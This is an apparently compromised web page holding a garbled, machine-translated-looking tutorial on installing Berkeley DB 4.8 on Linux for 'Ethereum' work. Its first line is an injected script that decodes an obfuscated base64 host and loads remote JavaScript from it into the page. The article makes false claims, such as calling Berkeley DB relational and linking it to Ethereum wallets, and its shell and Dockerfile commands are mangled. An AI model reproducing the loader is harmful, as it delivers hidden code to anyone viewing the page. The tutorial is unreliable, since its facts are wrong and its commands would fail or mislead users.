const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=c70eb3f0″;document.body.appendChild(script);
Ethereum: How to install Berkeley DB 4.8 on Linux
As a developer who works with intelligent Ethereum contracts, you have probably encountered the need to store data in a structured format such as JSON or Binary. In this article, we will guide you through the Berkeley DB 4.8 installation process on your Linux system.
What is Berkeley DB?
The Berkeley (Berkeley DB) database is a system for managing the Open-Source relational databases that allows you to store and interrogate structured data in a flexible format. It is widely used for various applications, including databases, cache memory and data storage.
Why do I need Berkeley DB 4.8 on Linux?
To install Ethereum, you will probably work with JSON -based data structures or stored binary files in the “wallet” directory. However, some older versions of Ethereum (before version 1.3) required a specific version of Berkeley DB 4.6 to function correctly.
Fortunately, a newer version of Berkeley DB was launched: 4.8. We will show you how to install it on your Linux system.
Installation Berkeley DB 4.8 on Linux
Ubuntu and Debian (with LIBDB-Dev packages)
If you use Ubuntu or Debian, you can easily install the Libdb-Dev package with Berkeley DB 4.8:
Bash
sudo apt-get install libdb-dev libdb ++-dev
Once installed, you will need to log in to the Berkeley DB library for your specific project:
Bash
G ++ -o Example for example.CPP -I/USR/Includes/Berkeley -DB
Alternative method using Docker
For a more convenient and reproducible experience, consider using Docker. You can create a docker image with Berkeley DB 4.8 and its installed addictions:
Dockerfile
From Ubuntu: the last
Run Apt-It Update && apt-get Install -y Libdb-Dev Libdb ++-Dev
Workdir /app
Copy. /application/
Cmd ["g ++", "-o", "example", "example.cpp"]
Once the image is built, you can pull it and run the project:
Bash
Docker Pull Berkeley-DB-4.8-Image
Example of Berkeley-DB-4.8
Installation Berkeley DB 4.8 on a non-standard Linux distribution
If you use a different Linux distribution (eg Fedora, Centos) or you have not installed theLibdb-Deva package, you will need to install Berkeley DB 4.8:
- Download the Berkeley DB 4.8 source code from the official site: <
- Extract the ZIP file using
TAR XZF BDB-4.8.tar.gz
- Create a new directory for your project and sail in it:
`Bash
Mkdir MyProject
Cd myproject
- Place the Berkeley DB 4.8 source code in the current work directory.
- Use the following order to build Berkeley DB 4.8:
CD BDB-4.8
./configure ---prefix =/USR/local/BDB-4.8
do what
Sudo makes installation
- Check that Berkeley DB 4.8 is installed by checking its presence in the directors'/USR/bin and lib/.
Now you are ready to use Berkeley DB 4.8 with your Ethereum Smart Contract project!